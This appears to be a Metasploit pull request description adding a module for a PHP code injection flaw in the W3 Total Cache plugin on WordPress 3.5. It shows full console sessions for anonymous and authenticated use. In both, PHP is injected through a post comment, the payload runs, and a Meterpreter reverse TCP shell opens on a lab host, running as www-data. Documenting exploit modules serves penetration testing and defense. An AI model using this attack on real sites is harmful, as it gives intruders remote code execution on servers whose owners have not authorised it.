Add module for Wordpress Total Cache PHP Injection

Tested with Wordpress 3.5 and W3 Total Cache 0.9.2.3

* Anonymous comment

```
msf exploit(php_wordpress_total_cache) > show options

Module options (exploit/unix/webapp/php_wordpress_total_cache):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password to authenticate with (anonymous if password not provided)
   POSTID     28               yes       The post ID where publish the comment
   Proxies                     no        Use a proxy chain
   RHOST      192.168.172.173  yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /wordpress/      yes       The base path to the wordpress application
   USERNAME                    no        The user to authenticate as (anonymous if username not provided)
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wordpress 3.5


msf exploit(php_wordpress_total_cache) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.173:80 - Trying unauthenticated exploitation...
[*] 192.168.172.173:80 - Injecting the PHP Code throw a comment...
[*] 192.168.172.173:80 - Executing the payload...
[*] Sending stage (39217 bytes) to 192.168.172.173
[*] Meterpreter session 10 opened (192.168.172.1:4444 -> 192.168.172.173:34668) at 2013-04-24 15:33:28 -0500

^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: www-data (33)
meterpreter > 

```

* Authenticated comment

```
msf exploit(php_wordpress_total_cache) > show options

Module options (exploit/unix/webapp/php_wordpress_total_cache):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   test1234         no        The password to authenticate with (anonymous if password not provided)
   POSTID     25               yes       The post ID where publish the comment
   Proxies                     no        Use a proxy chain
   RHOST      192.168.172.173  yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /wordpress/      yes       The base path to the wordpress application
   USERNAME   test             no        The user to authenticate as (anonymous if username not provided)
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wordpress 3.5


msf exploit(php_wordpress_total_cache) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.173:80 - Trying to login...
[*] 192.168.172.173:80 - Injecting the PHP Code throw a comment...
[*] 192.168.172.173:80 - Executing the payload...
[*] Sending stage (39217 bytes) to 192.168.172.173
[*] Meterpreter session 9 opened (192.168.172.1:4444 -> 192.168.172.173:34499) at 2013-04-24 15:32:05 -0500

^C[-] Exploit failed: Interrupt 

meterpreter > sessions -i 9
[-] Unknown command: sessions.
meterpreter > getuid
Server username: www-data (33)
meterpreter > 

```